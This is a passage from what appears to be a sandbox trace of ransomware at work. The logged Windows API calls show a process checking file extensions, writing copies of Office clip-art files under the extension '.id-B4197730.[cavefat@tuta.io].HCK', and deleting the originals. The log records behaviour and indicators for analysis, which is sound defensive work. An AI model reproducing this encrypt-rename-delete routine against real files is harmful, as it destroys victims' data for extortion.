lpString2=".WMF") returned -1 [0237.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF") returned 68 [0237.300] lstrlenW (lpString=".zip") returned 4 [0237.300] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0237.300] lstrlenW (lpString=".rar") returned 4 [0237.300] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0237.300] lstrlenW (lpString=".bz2") returned 4 [0237.300] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0237.300] lstrlenW (lpString=".7z") returned 3 [0237.300] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0237.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF") returned 68 [0237.300] lstrlenW (lpString=".dbf") returned 4 [0237.300] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0237.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF") returned 68 [0237.300] lstrlenW (lpString=".1cd") returned 4 [0237.300] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0237.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF") returned 68 [0237.300] lstrlenW (lpString=".jpg") returned 4 [0237.300] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0237.300] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0237.300] lstrlenW (lpString="J0152600.WMF") returned 12 [0237.300] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152600.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152600.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0237.302] GetFileSizeEx (in: hFile=0x560, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=9768) returned 1 [0237.302] CloseHandle (hObject=0x560) returned 1 [0237.302] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152600.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152600.wmf")) returned 0x220 [0237.302] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152600.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152600.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0237.303] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152600.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152600.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0237.303] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0237.303] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0237.303] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152600.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152600.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0237.304] GetLastError () returned 0x0 [0237.304] ReadFile (in: hFile=0x560, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x2628, lpOverlapped=0x0) returned 1 [0237.305] WriteFile (in: hFile=0x4c0, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0x2630, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0x2630, lpOverlapped=0x0) returned 1 [0237.306] ReadFile (in: hFile=0x560, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0237.306] WriteFile (in: hFile=0x4c0, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0xec, lpOverlapped=0x0) returned 1 [0237.306] SetEndOfFile (hFile=0x4c0) returned 1 [0237.306] CloseHandle (hObject=0x4c0) returned 1 [0237.306] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0237.306] SetEndOfFile (hFile=0x560) returned 1 [0237.308] CloseHandle (hObject=0x560) returned 1 [0237.308] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152600.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0237.309] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152600.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152600.wmf")) returned 1 [0237.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152600.WMF") returned 68 [0237.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152600.WMF") returned 68 [0237.310] lstrlenW (lpString=".doc") returned 4 [0237.310] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0237.310] lstrlenW (lpString=".docx") returned 5 [0237.310] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0237.310] lstrlenW (lpString=".pdf") returned 4 [0237.310] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0237.310] lstrlenW (lpString=".xls") returned 4 [0237.310] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0237.310] lstrlenW (lpString=".xlsx") returned 5 [0237.310] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0237.310] lstrlenW (lpString=".ppt") returned 4 [0237.310] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0237.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152600.WMF") returned 68 [0237.310] lstrlenW (lpString=".zip") returned 4 [0237.310] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0237.310] lstrlenW (lpString=".rar") returned 4 [0237.310] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0237.310] lstrlenW (lpString=".bz2") returned 4 [0237.310] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0237.310] lstrlenW (lpString=".7z") returned 3 [0237.310] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0237.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152600.WMF") returned 68 [0237.310] lstrlenW (lpString=".dbf") returned 4 [0237.310] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0237.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152600.WMF") returned 68 [0237.310] lstrlenW (lpString=".1cd") returned 4 [0237.310] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0237.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152600.WMF") returned 68 [0237.310] lstrlenW (lpString=".jpg") returned 4 [0237.310] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0237.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152600.WMF") returned 68 [0237.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152600.WMF") returned 68 [0237.310] lstrlenW (lpString=".doc") returned 4 [0237.310] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0237.311] lstrlenW (lpString=".docx") returned 5 [0237.311] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0237.311] lstrlenW (lpString=".pdf") returned 4 [0237.311] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0237.311] lstrlenW (lpString=".xls") returned 4 [0237.311] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0237.311] lstrlenW (lpString=".xlsx") returned 5 [0237.311] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0237.311] lstrlenW (lpString=".ppt") returned 4 [0237.311] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0237.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152600.WMF") returned 68 [0237.311] lstrlenW (lpString=".zip") returned 4 [0237.311] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0237.311] lstrlenW (lpString=".rar") returned 4 [0237.311] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0237.311] lstrlenW (lpString=".bz2") returned 4 [0237.311] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0237.311] lstrlenW (lpString=".7z") returned 3 [0237.311] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0237.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152600.WMF") returned 68 [0237.311] lstrlenW (lpString=".dbf") returned 4 [0237.311] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0237.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152600.WMF") returned 68 [0237.311] lstrlenW (lpString=".1cd") returned 4 [0237.311] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0237.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152600.WMF") returned 68 [0237.311] lstrlenW (lpString=".jpg") returned 4 [0237.311] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0237.311] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0237.311] lstrlenW (lpString="J0152602.WMF") returned 12 [0237.312] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152602.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0237.318] GetFileSizeEx (in: hFile=0x560, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=6276) returned 1 [0237.318] CloseHandle (hObject=0x560) returned 1 [0237.318] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152602.wmf")) returned 0x220 [0237.318] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152602.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0237.318] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152602.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0237.319] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0237.319] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0237.319] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152602.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0237.320] GetLastError () returned 0x0 [0237.320] ReadFile (in: hFile=0x560, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x1884, lpOverlapped=0x0) returned 1 [0237.321] WriteFile (in: hFile=0x4c0, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0x1890, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0x1890, lpOverlapped=0x0) returned 1 [0237.322] ReadFile (in: hFile=0x560, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0237.322] WriteFile (in: hFile=0x4c0, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0xec, lpOverlapped=0x0) returned 1 [0237.322] SetEndOfFile (hFile=0x4c0) returned 1 [0237.322] CloseHandle (hObject=0x4c0) returned 1 [0237.322] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0237.322] SetEndOfFile (hFile=0x560) returned 1 [0237.325] CloseHandle (hObject=0x560) returned 1 [0237.325] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0237.325] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152602.wmf")) returned 1 [0237.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF") returned 68 [0237.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF") returned 68 [0237.326] lstrlenW (lpString=".doc") returned 4 [0237.326] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0237.326] lstrlenW (lpString=".docx") returned 5 [0237.326] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0237.326] lstrlenW (lpString=".pdf") returned 4 [0237.326] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0237.326] lstrlenW (lpString=".xls") returned 4 [0237.326] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0237.326] lstrlenW (lpString=".xlsx") returned 5 [0237.326] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0237.326] lstrlenW (lpString=".ppt") returned 4 [0237.326] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0237.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF") returned 68 [0237.326] lstrlenW (lpString=".zip") returned 4 [0237.326] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0237.326] lstrlenW (lpString=".rar") returned 4 [0237.326] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0237.326] lstrlenW (lpString=".bz2") returned 4 [0237.326] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0237.326] lstrlenW (lpString=".7z") returned 3 [0237.326] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0237.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF") returned 68 [0237.326] lstrlenW (lpString=".dbf") returned 4 [0237.327] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0237.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF") returned 68 [0237.327] lstrlenW (lpString=".1cd") returned 4 [0237.327] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0237.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF") returned 68 [0237.327] lstrlenW (lpString=".jpg") returned 4 [0237.327] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0237.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF") returned 68 [0237.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF") returned 68 [0237.327] lstrlenW (lpString=".doc") returned 4 [0237.327] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0237.327] lstrlenW (lpString=".docx") returned 5 [0237.327] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0237.327] lstrlenW (lpString=".pdf") returned 4 [0237.327] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0237.327] lstrlenW (lpString=".xls") returned 4 [0237.327] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0237.327] lstrlenW (lpString=".xlsx") returned 5 [0237.327] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0237.327] lstrlenW (lpString=".ppt") returned 4 [0237.327] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0237.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF") returned 68 [0237.327] lstrlenW (lpString=".zip") returned 4 [0237.327] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0237.327] lstrlenW (lpString=".rar") returned 4 [0237.327] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0237.327] lstrlenW (lpString=".bz2") returned 4 [0237.327] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0237.327] lstrlenW (lpString=".7z") returned 3 [0237.327] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0237.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF") returned 68 [0237.327] lstrlenW (lpString=".dbf") returned 4 [0237.327] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0237.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF") returned 68 [0237.327] lstrlenW (lpString=".1cd") returned 4 [0237.328] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0237.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF") returned 68 [0237.328] lstrlenW (lpString=".jpg") returned 4 [0237.328] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0237.328] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0237.328] lstrlenW (lpString="J0152606.WMF") returned 12 [0237.328] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152606.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0237.329] GetFileSizeEx (in: hFile=0x560, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=16632) returned 1 [0237.329] CloseHandle (hObject=0x560) returned 1 [0237.329] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152606.wmf")) returned 0x220 [0237.329] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152606.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0237.329] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152606.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0237.330] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0237.330] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0237.330] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152606.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0237.330] GetLastError () returned 0x0 [0237.330] ReadFile (in: hFile=0x560, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x40f8, lpOverlapped=0x0) returned 1 [0237.332] WriteFile (in: hFile=0x4c0, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0x4100, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0x4100, lpOverlapped=0x0) returned 1 [0237.535] ReadFile (in: hFile=0x560, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0237.535] WriteFile (in: hFile=0x4c0, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0xec, lpOverlapped=0x0) returned 1 [0237.535] SetEndOfFile (hFile=0x4c0) returned 1 [0237.535] CloseHandle (hObject=0x4c0) returned 1 [0237.535] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0237.535] SetEndOfFile (hFile=0x560) returned 1 [0237.537] CloseHandle (hObject=0x560) returned 1 [0237.537] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0237.538] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152606.wmf")) returned 1 [0237.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF") returned 68 [0237.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF") returned 68 [0237.539] lstrlenW (lpString=".doc") returned 4 [0237.539] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0237.539] lstrlenW (lpString=".docx") returned 5 [0237.539] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0237.539] lstrlenW (lpString=".pdf") returned 4 [0237.539] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0237.539] lstrlenW (lpString=".xls") returned 4 [0237.539] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0237.539] lstrlenW (lpString=".xlsx") returned 5 [0237.539] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0237.539] lstrlenW (lpString=".ppt") returned 4 [0237.539] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0237.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF") returned 68 [0237.539] lstrlenW (lpString=".zip") returned 4 [0237.539] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0237.539] lstrlenW (lpString=".rar") returned 4 [0237.539] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0237.539] lstrlenW (lpString=".bz2") returned 4 [0237.539] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0237.539] lstrlenW (lpString=".7z") returned 3 [0237.539] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0237.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF") returned 68 [0237.539] lstrlenW (lpString=".dbf") returned 4 [0237.539] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0237.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF") returned 68 [0237.539] lstrlenW (lpString=".1cd") returned 4 [0237.539] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0237.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF") returned 68 [0237.539] lstrlenW (lpString=".jpg") returned 4 [0237.539] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0237.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF") returned 68 [0237.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF") returned 68 [0237.539] lstrlenW (lpString=".doc") returned 4 [0237.539] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0237.539] lstrlenW (lpString=".docx") returned 5 [0237.539] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0237.539] lstrlenW (lpString=".pdf") returned 4 [0237.539] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0237.539] lstrlenW (lpString=".xls") returned 4 [0237.539] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0237.539] lstrlenW (lpString=".xlsx") returned 5 [0237.539] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0237.540] lstrlenW (lpString=".ppt") returned 4 [0237.540] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0237.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF") returned 68 [0237.540] lstrlenW (lpString=".zip") returned 4 [0237.540] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0237.540] lstrlenW (lpString=".rar") returned 4 [0237.540] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0237.540] lstrlenW (lpString=".bz2") returned 4 [0237.540] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0237.540] lstrlenW (lpString=".7z") returned 3 [0237.540] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0237.540] 